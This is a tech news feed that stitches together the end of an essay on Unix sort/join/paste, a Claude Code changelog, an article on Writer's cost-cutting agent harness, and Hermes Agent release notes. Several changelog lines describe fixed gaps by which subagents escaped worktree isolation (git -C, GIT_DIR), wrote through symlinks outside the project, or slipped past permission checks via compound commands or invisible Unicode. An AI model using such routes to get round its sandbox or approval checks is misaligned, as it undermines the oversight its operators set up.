Imagine that you organize an annual event and have a separate pre-sorted list of attendees' e-mail addresses for each of the past three years. You are planning this year's event and want to send out an announcement to all of these people, as they will probably be interested. The command sort -m -u 2023list 2024list 2025list would spit out a combined list that you can use for your e-mail blast. Because it is likely that some people would have attended in more than one year, I included the -u option—it removes any duplicate entries.

It is probably no surprise that the sort utility appeared early on—it was in 1971's First Edition UNIX, though it didn't gain the merging functionality until Fifth Edition 4 in 1973. What did come as a shock to me is that both cut and paste didn't show up until 1980 with System III 5 , and were actually preceded by join , which was in Seventh Edition UNIX 6 from 1979. I assumed that at least cut would have been around far earlier, given its usefulness and how firmly established it is, but I suppose it just seems to have been with us forever.

As mentioned, I don't typically manage data as text files containing lists, and I probably won't start using the join utility or these features of paste and sort very much. But it is still useful to know that they exist and how they work. Hopefully this episode has taught you a bit about them.

References:

  1. Paste specification https://pubs.opengroup.org/onlinepubs/9699919799/utilities/paste.html
  2. Join specification https://pubs.opengroup.org/onlinepubs/9699919799/utilities/join.html
  3. Sort specification https://pubs.opengroup.org/onlinepubs/9699919799/utilities/sort.html
  4. A Research UNIX Reader: Fifth Edition sort manual page https://archive.org/details/a_research_unix_reader/page/n19/mode/1up
  5. System III paste manual page https://www.tuhs.org/cgi-bin/utree.pl?file=SysIII/usr/src/man/man1/paste.1
  6. Seventh Edition UNIX join manual page https://man.cat-v.org/unix_7th/1/join

Provide feedback on this episode.

]]> <![CDATA[v2.1.216]]> https://tsecurity.de/de/3682279/downloads/v21216/ https://tsecurity.de/de/3682279/downloads/v21216/ Tue, 21 Jul 2026 00:16:52 +0200 đŸ’Ÿ Downloads tsecurity.de What's changed
  • Added sandbox.filesystem.disabled setting to skip filesystem isolation while keeping network egress control
  • Fixed a slowdown in long sessions where message normalization cost grew quadratically with the number of turns, causing multi-second stalls and slow resumes
  • Fixed auto mode denying commands with "HTTP 401" classifier errors after the OAuth token expired or rotated mid-session
  • Fixed AskUserQuestion telling Claude to continue even when your answer asked it to wait or explain first — free-text answers now get neutral wording
  • Fixed Claude Code on the web re-asking the same question and dropping your answer after the session sat idle for a few minutes
  • Fixed @-mentions silently attaching nothing after file-modifying hooks, vim dot-repeat of c-operators and paste, statusline running twice on resume, and resume-picker hangs on failure
  • Fixed resumed background agent sessions reverting to the default agent: the agent's prompt and tool restrictions are now restored
  • Fixed worktree-isolated subagents redirecting git into the shared checkout via git -C, --git-dir, or GIT_DIR/GIT_WORK_TREE
  • Fixed worktree sessions landing in another project's leftover worktree when the working directory did not match the selected project
  • Fixed background sessions whose worktree has no git repository being undeletable
  • Fixed claude daemon stop --any potentially terminating an unrelated process via a stale legacy daemon lockfile
  • Fixed Esc-Esc at an idle prompt not opening the rewind picker in long-running sessions with background tasks
  • Fixed Bash command permission checking for compound statements with redirects inside && lists or negations
  • Fixed pressing Ctrl+X twice in the agent list failing to delete a session, and deleted sessions reappearing when their background worker had died
  • Fixed background subagents getting cancelled when a high-priority message arrives during their startup window
  • Fixed mouse and focus garbage in the terminal while a GUI editor from /memory, /plan, /keybindings, or Ctrl+G is open; /memory no longer waits for the editor to close
  • Fixed Claude-in-Chrome 403-looping on reconnect when the session's OAuth token lacks a required scope
  • Fixed workflow saves and scheduled-task writes following a symlink at .claude, which could redirect writes outside the project
  • Fixed MCP re-authenticate revoking working credentials before the new sign-in succeeds, and the reconnect needs-auth message in background sessions pointing at an unusable command
  • Fixed read-only commands on Windows accessing network paths without a permission prompt
  • Fixed Bash command parsing of non-ASCII characters to match real shell word boundaries
  • Fixed PowerShell tool permission validation of commands containing invisible Unicode characters
  • Fixed dialogs in fullscreen mode stretching past the right-hand edge of their panel
  • Fixed the /config settings list in fullscreen mode clipping its keyboard-hint footer
  • Fixed the transcript-mode (Ctrl+O) footer hint wrapping on terminals narrower than 104 columns
  • Fixed the Prometheus metrics endpoint (OTEL_METRICS_EXPORTER=prometheus) emitting invalid # UNIT lines
  • Fixed skills and commands changed during a session not appearing in the slash menu until restart
  • Fixed plugin skills with a name frontmatter field losing their plugin prefix in slash-command autocomplete
  • Fixed telemetry misreporting permission denials: failed permission-prompt requests no longer count as user rejections, and user interrupts are now reported as user aborts instead of rejections
  • Improved the /fork confirmation to one line with the new session's name, claude attach id, and a note when the copy shares your checkout
  • Improved validation of git and gh command arguments in the PowerShell tool
  • Improved the /ultrareview diff-too-large error to show configured limits, measured diff size, and largest contributing files
  • Improved /code-review ultra empty-diff message to name the exact base ref and suggest passing an explicit base
  • Improved the spend limit adjustment prompt to show the server's reason when a spend limit change is rejected
  • /context now shows an explicit warning when the conversation exceeds the context window, and a failed /compact displays as an error
  • /rewind no longer restores or deletes files through symlinks or hard links at tracked paths and reports how many paths it skipped
  • Background sessions: /mcp and /install-github-app now park a "needs input" request in the agent view when no client is attached
  • Updated the bundled dataviz skill: reordered the default chart palette and fixed guidance that suggested direct labels for four-series charts
  • [VSCode] Fixed right-to-left text (Arabic, Hebrew, Persian) rendering in the wrong order when mixed with English or code
  • Fixed cloud sessions dropping the in-flight message when the session's container restarts mid-turn — the interrupted turn now re-runs on resume instead of leaving the session unresponsive
]]> <![CDATA[Writer's AI harness cuts token spend nearly 40% — without sacrificing accuracy]]> https://tsecurity.de/de/3682237/it-nachrichten/writers-ai-harness-cuts-token-spend-nearly-40-without-sacrificing-accuracy/ https://tsecurity.de/de/3682237/it-nachrichten/writers-ai-harness-cuts-token-spend-nearly-40-without-sacrificing-accuracy/ Mon, 20 Jul 2026 23:48:13 +0200 📰 IT Nachrichten tsecurity.de Enterprise AI is facing an ROI paradox. While throwing more compute at the strongest foundation model works well in product experiments, the costs become unbearable when the product is deployed in production.

A new paper from researchers at Writer provides a solution that is accessible to engineering teams. The study takes a systematic look at optimizing the different components of the orchestration layer that wraps around the foundation model, aka the AI harness. 

By optimizing the harness, the researchers show dramatic reductions in tokens per task, a drop in cost-per-successful-task by up to 61%, and quality that holds steady, all without changing the underlying foundation model.

Because the harness is fully under the developer's control and requires no model fine-tuning, engineering teams can apply these findings to build highly cost-efficient AI applications.

The ROI crisis of tokenmaxxing

The current state of AI engineering is plagued by "tokenmaxxing," an industry trend where developers rely on massive context windows and brute-force token consumption as a substitute for good system design. 

Rather than engineering elegant workflows, developers have imported a reflex from traditional software development: generate, run, fail, stuff the error and more context back into the window, and retry. 

"Teams tokenmaxx because it's the cheapest fix in the moment, and because it's literally how most engineers work today," Waseem AlShikh, CTO and co-founder of Writer, told VentureBeat. Because this approach succeeds often enough on coding tasks, it has become the default reflex for every other agentic workload. The danger is that per-token price drops mask the underlying inefficiency. 

"Your invoice is tokens-per-task times price-per-token, and most teams only watch the second number," AlShikh said. "In agentic workloads, tokens-per-task compounds — every loop iteration re-transmits the growing context — and it compounds faster than prices fall. The price cut becomes an anesthetic. It masks the fact that the loop itself is bleeding."

Tokenmaxxing leads to several enterprise failure modes. Teams route simple tasks to premium frontier models by default. They use the LLM as a lazy search index, stuffing the context window with raw documents instead of retrieving exact answers. Most destructively, they build unconstrained agentic loops that spiral out of control when the model encounters an error. Because output tokens cost significantly more than input tokens across all major model providers, inefficient task execution acts as a silent budget killer.

The industry has introduced several efficiency techniques to curb these costs, but they largely fall short because they treat the model in isolation: 

  • Prompt compression condenses input text to save space, but ignores how the system sequences those inputs across complex workflows. 

  • Budgeted reasoning caps the computational steps a model can take, which often degrades output quality if the workflow isn't intelligently routed. 

  • Terse coding forces models to output minimal code to save output tokens, but does nothing to solve inefficient tool calling. 

  • Speculative decoding uses a smaller draft model to speed up a larger model's text generation, optimizing inference speed while failing to address bloated agent architectures.

These efforts fail because they optimize the engine while ignoring the transmission. They do not look at the orchestration layer, leaving underlying architectural inefficiencies unresolved.

Unpacking the harness: the levers of efficiency

The harness is the orchestration layer that routes, formats, and turns the underlying LLM into a working system.

The core levers of harness optimization include system prompt caching, interaction history compaction, tool management, retrieval strategies, and error management. These are the most accessible intervention points for engineering teams looking to improve AI performance. 

As the Writer researchers note in the study: “If the harness is the layer that composes model calls into work, it is also the layer that sets the price of work.”

Historically, developers have treated the harness as disposable glue code designed simply to connect an API to a user interface. The study signals that the harness must now be treated as a first-class object: a primary software artifact that requires its own testing, versioning, and rigorous design. 

For enterprises, this reframes the "own-versus-rent" decision. 

"Enterprises spend months on model evaluations and then rent their orchestration off the shelf — which means they're optimizing the smaller lever and outsourcing the bigger one," AlShikh said. "Whoever owns the harness owns your unit economics, and an open framework tuned for demos is not tuned for your invoice." 

Inside the experiments

To isolate the impact of the orchestration layer, the researchers ran experiments on six foundation models spanning multiple vendors and weight classes: Claude Sonnet 4.6, Gemini 3.1, Gemini Flash 3.5, Qwen 3.6, GLM 5.1, and Writer’s own model, Palmyra X6. 

Their experiments compared a frozen, conventional production agent loop against the finished Writer Agent Harness on the same 22 locked enterprise tasks, spanning capabilities like grounding and retrieval, multi-step workflows, tool use, and content generation. By holding the models and tasks constant, they could isolate the effects of the orchestration layer itself.

The optimized harness drove a significant drop in costs, cutting the blended cost per task by 41%, from 21 cents to 12 cents. This was largely achieved by slashing token consumption, with the number of tokens per task falling 38%, from 14.2k to 8.8k.

The harness is designed to delegate tasks like search to specialized sub-agents. A sub-agent receives only the tool and the specific query it needs, retrieves the exact data, and returns a capped, clean summary to the main agent — keeping the primary context window from filling up with raw search results.

Task success rates held steady even as token use fell — moving from 78% to 81%, a gain the researchers describe as directional rather than statistically significant at their sample size, meaning quality didn't suffer even as costs dropped.

End-to-end task latency also dropped significantly, reducing the median wall-clock time by 44%, from 48 seconds to 27 seconds, due to prompt caching and the elimination of dead-end reasoning loops.

However, the researchers also found limits to multi-agent orchestration. Smaller models like Gemini Flash 3.5 and Qwen 3.6 scored well below a usable reliability threshold on sub-agent delegation tasks (0.45 and 0.42, respectively) — the capability simply isn't dependable yet on lighter-weight models.

Sub-agent orchestration only crossed a usable reliability threshold on the two strongest models tested: Writer's own Palmyra X6 (0.86) and Claude Sonnet 4.6 (0.85).

The developer’s playbook: actionable takeaways and tradeoffs

The findings from the study translate into a playbook for enterprise developers building agentic workflows at scale. The first step is to implement what AlShikh calls the "Two-Zone Prompt" and "Context Offloading."

Structure for system prompt caching (The Two-Zone Prompt): Modern LLM APIs offer prompt caching, but developers must structure their payloads correctly to trigger it. Developers must separate the "stable zone" from the "volatile zone." Place static, unchanging elements (e.g., core rules, large tool schemas, and standard operating procedures) at the top of the prompt. Dynamic elements, such as the specific user query or recent conversational task state, must be appended at the bottom. This ordering allows the harness to reuse the cached prefix across hundreds of calls. "That single separation makes prompt caching actually work and stops you from re-paying for the same instructions on every one of an agent's thirty steps," AlShikh said.

Manage context with Context Offloading: Avoid context stuffing, where every turn of a loop is appended into a monolithic prompt until the window maxes out. Instead, move history and intermediate artifacts out of the window into retrievable storage, and pull back only what the current step needs. If possible, delegate tasks to single-purpose sub-agents to avoid context bloat. As AlShikh points out, "the biggest line item in agent spend isn't reasoning — it's re-sending things the model has already seen."

Build resilient loops and redefine KPIs: Unmanaged agent loops drain API budgets rapidly. Teams must begin tracking Completions Per Million tokens (CPM) to understand their true task costs, but the harness itself must contain physical guardrails. "The core principle is that you never ask the model to police its own spending," AlShikh said. "The fence has to live below the model, in code, on your side of the API." This requires three hard checks:

  • Hard per-task token budgets: The run terminates when the budget is spent, no exceptions.

  • Generation fencing: Caps on steps, tool calls, and recursion depth to stop non-converging agents. 

  • Failure-spend governance: Cap what a run can spend after its first failed validation so a failing task doesn't become your most expensive task.

Avoid unnecessary complexity: Optimizing the orchestration layer comes with engineering overhead. If you're in the prototyping and exploration stage, that overhead isn't justified — iterate fast with a strong model and a light harness. Once you're scaling to millions of requests a day, the savings from harness optimization become substantial.

However, teams must be aware of "harness leverage." Adding structural scaffolding requires the model to hold and obey that context. If a model is too small, it will spend its limited capacity parsing the scaffolding instead of doing the task, causing accuracy to drop and tokens to rise. The rule for adding complex orchestration features is strictly mathematical: "If a feature adds more coordination tokens than it removes task tokens for that specific model, cut it," AlShikh said. "Nothing in the harness is free."

The future of the enterprise harness

The era of tokenmaxxing and treating context windows like bottomless buckets is coming to an end. Throwing more compute at poorly designed systems is not a viable strategy for companies that need to demonstrate a return on their AI investments. 

As foundation models evolve to absorb planning, tool selection, and multi-step reasoning natively into their weights, the role of the harness will shift from compensating for model weakness to enforcing enterprise policy.

"What never moves into the model is the 'allowed': budgets, permissions, data boundaries, audit trails, deterministic kill-switches," AlShikh said. "Five years from now, the harness will be thinner but more important. There will be less scaffolding and more governance. However capable the model gets, someone external to it still has to define what it may spend, see, and touch. That layer belongs to the enterprise, and it should never be rented."

]]> <![CDATA[Hermes Agent v0.19.0 (2026.7.20) — The Quicksilver Release]]> https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/ https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/ Mon, 20 Jul 2026 20:46:40 +0200 đŸ’Ÿ Downloads tsecurity.de Hermes Agent v0.19.0 (v2026.7.20)

Release Date: July 20, 2026
Since v0.18.0: ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · ~3,300 issues closed · 450+ community contributors

The Quicksilver Release. Hermes is the messenger god, and this window we made him move like it. First-turn time-to-first-token dropped ~80% on every platform, reasoning streams live by default, the desktop app got a ~20-PR speed overhaul (14× faster streaming markdown, virtualized diffs, snappy session switching), and the TUI renders markdown incrementally. Around that speed spine: you can now manage your Nous subscription without leaving the terminal, plug Bitwarden and 1Password straight into Hermes, let smart approvals judge flagged commands for you by default, watch your subagents work live, and trust that a finished response survives a gateway crash thanks to a durable delivery ledger. This release also rolls up everything from the v0.18.1 and v0.18.2 infrastructure patch tags — those windows are fully documented here.

✹ Highlights

  • Hermes got dramatically faster — first token in a fraction of the time — Cold-start "Initializing agent..." used to eat ~4.3 seconds before your first turn even reached the model; it's now ~0.9s, an ~80% cut that applies to the CLI, gateway, TUI, desktop, and cron alike. Round 2 attacked what you see while waiting: reasoning models now stream their thinking live by default (no more staring at a spinner for 30 seconds), and the response box paints per token instead of per line. If Hermes ever felt like it took a deep breath before answering, that breath is gone. (#59332, #59389 — @teknium1)

  • The desktop app speed wave — 20+ targeted perf PRs — Long replies used to cost 14× more CPU in the markdown splitter than they do now; giant diffs froze the review pane until we virtualized it; switching sessions thrashes layout no more. Streaming no longer re-renders the sidebar and every tool row per token, profile backends pre-warm on hover intent, and boot-hidden panes mount at idle instead of on the cold-start critical path. The net effect: the desktop app feels like a native app under load, even with huge transcripts and busy agents. (#67154, #67818, #65898, #66033, #66747, #67742 and more — @OutThisLife)

  • Manage your Nous plan from the terminal — /subscription and /topup — Changing your subscription used to mean a trip to the billing website. Now /subscription opens a full flow right in the TUI or classic CLI: see your plan and remaining allowance, preview exactly what an upgrade costs ("Pay $46.30 & upgrade now") or when a downgrade takes effect, and apply it — with scheduled-change banners and undo. The desktop app got a matching billing settings tab. Your wallet never has to leave the keyboard. (#51639, #61054, #61067 — @alt-glitch)

  • Smart approvals are now the default — When Hermes wants to run a flagged command, an LLM reviewer now assesses it independently instead of asking you to approve every single one — and each verdict covers only that exact command, so a later command matching the same pattern gets its own review. Combined with the new user-defined deny rules (which block commands even under yolo mode) and /deny <reason> (which tells the agent why you refused so it course-corrects), day-to-day approval fatigue drops sharply without giving up control. (#62661, #59164, #54518 — @teknium1)

  • Plug your password manager into Hermes — Bitwarden & 1Password secret sources — API keys no longer have to live in a plaintext .env. A new pluggable SecretSource interface lets Hermes fetch secrets from Bitwarden and 1Password (op:// references) at load time, with multiple vaults enabled simultaneously, deterministic precedence, conflict warnings, and per-variable provenance. This consolidated eleven competing community PRs into one orchestrated interface — future vault providers drop in as plugins. (#59498 — @teknium1, 1Password provider salvaged from @hwrdprkns)

  • Watch your subagents work — live transcripts + durable background delegation — delegate_task dispatches now return live transcript files you can tail -f the moment the subagents launch: every tool call, result, and streamed reply, one human-readable log per child. And background delegation completions are now durable — if the process restarts mid-run, results are restored and delivered through an ownership-checked ledger instead of vanishing. Fan out a fleet, watch any worker live, and never lose the results. (#67479, #63494 — @teknium1)

  • A finished answer can no longer be lost — the delivery-obligation ledger — If the gateway died between generating your response and confirming the platform actually delivered it, that answer used to be silently gone (and you'd paid for the turn). Final responses are now recorded in a durable ledger in state.db around the platform send and redelivered on the next boot — closing a P1 silent-loss window for Telegram, Discord, Slack, and every other channel. (#67181 — @teknium1)

  • One gateway, many profiles — profile-based message routing — A single multiplexed gateway sharing one bot token can now route specific guilds, channels, or threads to different profiles — each with fully isolated config, skills, memory, and secrets. Point your work Discord server at the work profile and your hobby server at personal, from one bot. A second multiplex hardening wave means one misconfigured profile can no longer take down the whole gateway. (#64835 salvaging @Burgunthy, #65700, #60589 — @teknium1, @benbarclay + six salvaged contributors)

  • New providers and the newest frontier models — Fireworks AI and DeepInfra land as first-class providers (Fireworks with cost estimation and a #2 slot in the provider picker), Upstage Solar joins via salvage, and the model catalogs picked up GPT-5.6 (Sol/Terra/Luna + Pro variants, wired end-to-end across every route), grok-4.5 (GA), moonshotai/kimi-k3, claude-fable-5 / claude-sonnet-5, and GA tencent/hy3 — plus LM Studio JIT model loading for local setups. (#62593, #63969, #61616 — @kshitijk4poor completing @rob-maron's #61578, #60887, #65913, #64541, #65472)

  • Crank the thinking to max — new reasoning effort tiers and per-model control — Reasoning effort gained max and ultra levels (GPT-5.6 and Codex's top tiers), selectable everywhere from the CLI to the desktop, with sane clamping on providers with smaller scales. You can now also pin per-model reasoning-effort overrides in config, set per-slot effort in MoA presets (your advisors think hard, your synthesizer stays fast), and per-task effort for auxiliary models. Thinking depth is now a dial, not a global switch. (#62650, #64458, #64631, #64597 — @teknium1)

  • Your sessions, your data — export everything — hermes sessions export now writes Markdown, Quarto, HTML, prompt-only, and even Hugging Face-ready trace formats, with the full filter surface (age, workspace, platform), an opt-in --redact secret-scrubbing pass, and compacted-session lineage stitched into one logical export. Pair with the new prune filters and bulk archive to keep your session store tidy. Your conversation history is a real dataset now, not a black box. (#60186 salvaging @web3blind, #60492, #60507, #59327 — @teknium1)

  • Security hardening round — This window closed a long list of credential-surface gaps: Vertex credentials scoped away from subprocess env and through profile secret scopes, media/vision/image-gen local-file reads routed through one shared credential-read guard, a webhook body-size-cap sweep across every aiohttp server, bot-token redaction in Telegram transport errors, Fireworks token prefixes added to the redactor, six P1 browser/MEDIA/.env hardening PRs salvaged in one pass, and CI hardened against untrusted-ref interpolation. (#57660, #58709, #59215, #56582, #57842 — @teknium1, @srojk34, @kshitijk4poor, @jquesnelle)

⚡ Performance — the speed spine

First-turn latency (all platforms)

  • ~80% TTFT cut — Discord capability detection off the critical path (token-keyed 24h disk cache + background refresh), Ollama probe skipped for known non-Ollama providers, agent-init blocking work removed; cold submit→dispatch ~4.3s → ~0.9s (#59332 — @teknium1)
  • Perceived-latency round 2 — display.show_reasoning default ON (watch the model think instead of a spinner), per-token response-box painting with width-aware force-flush, prompt-build caching, mtime-cached timezone resolution (#59389 — @teknium1)
  • Segment mixed tool batches to recover lost concurrency; drop per-call base64 re-serialization from request-size estimates (#64460, #67788 — @teknium1, @OutThisLife)

Desktop speed wave

  • 14× less splitter CPU via incremental block lexing for streaming markdown; virtualized review-pane diffs (no more full-Shiki freeze); snappy session switching on large transcripts; killed the layout-thrash cascade on session switch (#67154, #67818, #65898, #66033 — @OutThisLife)
  • Cut startup serialization + per-turn REST amplification; pre-warm profile backends and gateway sockets on hover intent; idle-mount boot-hidden panes; fast model picker + dialogs (#66747, #66347, #67857, #66470 — @OutThisLife)
  • Stop per-token sidebar + tool-row re-renders during streaming; stop eager JSON.stringify of every tool's args/result; scope tool-diff subscriptions; batch sidebar session slices into one profile-DB pass; targeted file-tree revalidation; rAF-coalesced sash resizes (#67742, #67842, #67195, #67245, #67824, #67838, #67844 — @OutThisLife)
  • Systematized perf benchmark harness with trustworthy cold-start + first-token measurement, replacing 12 one-off scripts (#67466, #67697 — @OutThisLife)

Everywhere else

  • TUI renders streamed markdown incrementally per block (#67236 — @OutThisLife)
  • Skill discovery cached by scan signature; snapshot manifest builds ~5× faster; text prefilter before AST parse in tool discovery (#61414, #61131, #63941 — @kshitijk4poor, @ethernet8023)
  • Copy-on-write message prep instead of full deepcopy; model-metadata probe-cache cluster; gateway session.resume model + display history from one SELECT (#61133, #61368, #67247 — @kshitijk4poor, @OutThisLife)
  • hermes update skips npm install when Node manifests are unchanged; dashboard session-list payloads trimmed + messages paginated (#61580, #60883 — @kshitijk4poor)
  • Byte-stable gateway system prompts — pinned session-context render keeps the prompt cache alive across turns (#67403 — @kshitijk4poor)

đŸ—ïž Core Agent & Architecture

Providers & models

  • Fireworks AI provider with cost estimation + cached picker price columns, promoted to #2 in provider pickers (#62593, #65476, #65214 — @teknium1)
  • DeepInfra hardened integration; Upstage Solar provider (#42231 salvage) (#63969, #64541 — @kshitijk4poor)
  • GPT-5.6 (Sol/Terra/Luna + Pro) end-to-end — context lengths, native/Codex catalogs, pricing, compaction caps across every route (#61616 — @kshitijk4poor, building on @rob-maron)
  • grok-4.5 (GA) catalog + reasoning allowlist; kimi-k3 on Nous Portal + OpenRouter (kimi-k2.x retired) + K3 discovery on the Kimi Coding endpoint; claude-fable-5 / claude-sonnet-5 / fugu-ultra curated; GA tencent/hy3 (#60887, #65913, #65922, #56617, #60943 — @teknium1)
  • Catalog-labeled silent default (GLM-5.2) + bare-provider /model cost-safe routing; LM Studio JIT load mode; adaptive thinking for Kimi-family Anthropic endpoints (#64771, #65472, #67606 — @teknium1, @kshitijk4poor)
  • GLM-5.2 native reasoning_effort controls; Gemini request-context improvements; extra HTTP headers for LLM API calls; per-client model routing on the API server (#58884, #61873 — @vishal-dharm, #57038, #57028 — @teknium1)
  • Claude Sonnet 5 fully wired — curated lists, intro pricing, and metadata across every route (#67932 — @teknium1)
  • Hide providers you don't use — enabled: false per-provider flag + excluded_providers config scrub unwanted providers from /model pickers and built-in resolution (#67971 — @teknium1)
  • Bedrock catalog wave: real context-window probing from the live endpoint, 1M-context rows for current-gen Claude + Fable, geo-prefix parity, versioned profile-ID pricing, Opus 4.8/4.7 rows (#68007, #67977, #68005, #67976 — @teknium1)
  • kimi-k3 rollout completed across Kimi-direct catalog surfaces with 1M context on canonical Kimi Coding endpoints (#68108 — @teknium1)
  • Provider pickers: Qwen providers folded into one group row; collapsible provider groups in the desktop model picker; friendlier TUI model display grouping same-endpoint providers (#67758, #67904, #67908 — @teknium1)

Reasoning & MoA

  • max + ultra effort levels across every surface and route (#62650 — @teknium1)
  • Per-model reasoning_effort overrides via a unified resolution chokepoint; per-task auxiliary effort; per-slot MoA preset effort; session-scoped /reasoning in the CLI (#64458, #64597, #64631, #67946 — @teknium1)
  • MoA: reference_max_tokens to cap advisor output and cut latency; per-preset fanout cadence (user_turn runs advisors once per user turn); stale presets surfaced without retries; half-filled preset saves rejected at the API boundary; aggregator resolves reasoning like an acting model (#56756, #57591, #64756 — @teknium1)

Delegation, approvals & the agent loop

  • Live subagent transcripts + durable background completions (see Highlights) (#67479, #63494 — @teknium1)
  • Smart approvals default; user-defined deny rules (block even under yolo); /deny <reason> relays the denial reason; plugin pre_tool_call approve action escalates to a human gate (re-landed with rule keys) (#62661, #59164, #54518, #60504 — @teknium1, @kshitijk4poor)
  • Unified delegation concurrency caps (max_async_children deprecated); explain long provider waits on the live status line; deterministic tool-output risk exposure (#56955, #64775, #61793 — @teknium1)
  • Codex: live TUI/desktop tool cards for the app-server runtime, commentary streamed as visible interim messages, compaction routed through thread/compact/start, max-output truncation recovery, oversized message ids dropped on replay, banked usage-limit resets via /usage reset (#66514, #66115, #60114, #58155, #62225 — @teknium1, @kshitijk4poor, @JoaoMarcos44, #64280 — @teknium1)
  • Hooks: oversized hook-injected context spills to disk (#20468 — @teknium1)
  • Vibe reactions — floating hearts on affection across CLI/TUI/desktop, token-free core detection (#62016 — @OutThisLife)

Secrets & config

  • Pluggable SecretSource interface + Bitwarden & 1Password providers (see Highlights) (#59498 — @teknium1, @hwrdprkns)
  • hermes config get / unset; warn on unknown root config keys + doctor deprecated-key reporting; display.timestamp_format (#65540, #67370, #40622 — @teknium1)
  • Auxiliary model usage recorded per task in session accounting; conversation-scoped Nous Portal usage tags across aux/MoA/delegate calls; --usage-file JSON report for hermes -z (#65537, #65468, #59615 — @teknium1)

Sessions & compression

  • Sessions export: Markdown/QMD/HTML/prompt-only/trace formats, HF upload, --redact, unified filters; full prune filter surface + bulk archive; CLI workspace filter + restore-cwd-on-resume (#60186, #60492, #60507, #59327, #63091 — @teknium1, @web3blind)
  • Compression: preserve human intent and durable handoffs; retain prompt cache when memory is unchanged; flatten multimodal content for the summarizer keeping image handles; gateway compression routing integrity (#67275, #67916, #65046, #56868 — @kshitijk4poor, @teknium1)
  • Gateway session metadata consolidated into state.db; routing index moved to state.db (sessions.json now an optional legacy mirror); exact API bytes persisted in an api_content sidecar (#58899, #59203, #67274 — @teknium1, @kshitijk4poor)

🌐 Gateway, Fleet & Relay

  • Durable delivery-obligation ledger for final responses (see Highlights) (#67181 — @teknium1)
  • Profile-based routing for inbound messages + multiplex hardening wave 2 + GATEWAY_MULTIPLEX_PROFILES override (see Highlights) (#64835, #65700, #60589 — @teknium1, @benbarclay + salvaged contributors)
  • Per-session turn lease + conversation-scope funnel; unified session reset boundaries (reset sessions stay reset); truthful runtime readiness checks; per-channel model and system prompt overrides; per-session /model overrides persist across restarts (#67401, #65783, #62645, #56967, #57030 — @teknium1)
  • Session auto-reset default off; /sessions search <query>; webhook payload filters + route scripts; platform HTTP event callback routing; configurable long-running status phrases (#60194, #57685, #60944, #65702, #58872 — @teknium1)
  • Relay: generic OIDC client-credentials provisioning (NAS-free), routed profile carried from the connector wire source, channel context consumed from the connector; Nous auth forensics + nous_session_valid on /api/status for hosted self-heal; Docker re-seeds a terminally-dead Nous bootstrap session on boot (#60730, #60586, #64649, #59976, #59969, #59983 — @benbarclay)

đŸ“± Messaging Platforms

  • Inline choice pickers for /reasoning and /fast on Telegram, Discord, and Matrix — one-tap native buttons instead of typing (#65799 — @teknium1)
  • WhatsApp: native Baileys polls (clarify renders as a poll), locations, rich inbound metadata; dashboard pairing flow (#58865, #60571 — @teknium1)
  • Discord: recover messages missed during reconnect; auto-created threads renamed to generated session titles; configurable interactive view timeout; opt-in owner mentions on exec-approval prompts; optional admin-only gate for approval buttons (#66149, #60187, #60230, #60493, #51751 — @teknium1)
  • Slack: live per-tool status line (#67080 — @teknium1, salvaging #62007)
  • Telegram: per-topic free-response allowlist; Google Chat clarify prompts rendered as cards (#65543, #65546 — @teknium1)
  • Voice: stt.echo_transcripts toggle; MEDIA: captions attached to the media bubble on standalone sends; display.tool_progress: log option (#58859, #61415, #57014 — @teknium1, @kshitijk4poor)

đŸ–„ïž Hermes Desktop App

  • Contribution-driven shell on a layout-tree model — panes, zones, and layouts as data; plugin-scoped i18n locale bundles followed (#60638, #67303 — @OutThisLife)
  • Capabilities page — Skills/Tools/MCP + Hub in one place, with responsive overlay nav; CLI/dashboard parity for skills hub, MCP test/toggle/catalog, maintenance ops, log filters; five UX fixes from live testing (#57590, #57441, #67482 — @OutThisLife, @teknium1)
  • Hermes Cloud connection mode (salvage of #55402); soft gateway switch + gateway-settings polish; terminal execution backend picker with health probes (#61912, #61916, #67203 — @OutThisLife, @teknium1)
  • Keybind hint tooltips + keybinds settings tab + unified worktree dialog; base-branch picker for new worktrees; green unread dot for background-finished sessions; background-task sidebar indicators; grouped tool calls across text-less messages; auto-scrolling window for long tool-call runs (#65204, #62243, #65109, #65174, #61147, #57913 — @ethernet8023, @OutThisLife)
  • Session + project color system (inherit from project, per-session override, shared across sidebar/tabs); unified active-project identity in chat status; workspace path status action (#67469, #67681, #67282, #63086 — @OutThisLife)
  • Declarative memory-provider panel + full-config modal; config-defined TTS/STT providers + xAI TTS params; custom endpoint settings; per-job cron model picker; profile-aware approval mode control; UI scale setting; Ctrl/Cmd+wheel zoom; chat backdrop toggle; /journey opens the memory graph overlay (#67206 salvaging @erosika, #67209, #67759 — @austinpickett, #67472, #63520, #60457, #67029, #64598, #57267 — @teknium1, @OutThisLife)
  • Full TypeScript conversion of the desktop tree (#57855 — @ethernet8023)

📊 Web Dashboard

🧰 CLI & TUI

  • /subscription + /topup terminal billing (see Highlights) (#51639 — @alt-glitch)
  • /model --once — one-turn model override that reverts automatically (#67113 — @teknium1, salvaging #29923)
  • Stacked slash-skill invocations — /skill-a /skill-b do XYZ loads both skills in order (Claude Code port), with autocomplete + ghost text (#57987, #58763 — @teknium1)
  • --safe-mode troubleshooting flag; uninstall dry-run; TLS failures fail fast with fix hints; /compact alias + preview flags; pip/Homebrew installs warned unsupported (#45300, #60111, #57992, #57029, #57225 — @teknium1, @ethernet8023)
  • TUI: model picker refresh support; custom skill bundles dispatched as agent turns; banner sizes skills display to terminal width (#59782 — @helix4u, #62859 — @Adolanium, #40624 — @teknium1)
  • Hermes Console REPL + perf follow-ups; hermes curator usage all-skills view; entry-point plugins surfaced in hermes plugins list (#57781 — @kshitijk4poor, #36727, #40623 — @teknium1)

🔧 Tool System, Skills & MCP

  • MCP: mcp__server__tool naming convention; server log notifications surfaced in agent.log; hosted OAuth completed across Dashboard + Desktop; configurable redirect_uri/redirect_host for proxied/WAF setups; OAuth callback port races closed; Blender added to the MCP catalog with a curated 4-tool default (#52750, #57416, #66151, #65610, #65622, #64463 — @teknium1, @benbarclay)
  • Skills: security/unbroker (autonomous data-broker removal) + blind opt-out hardening; unreal-mcp companion skill; blender-mcp reworked around the catalog entry; humanizer pattern expansion; mcp-oauth-remote-gateway optional skill (#57438, #57902, #65989, #64715 — @SHL0MS, #65066, #65486 — @teknium1)
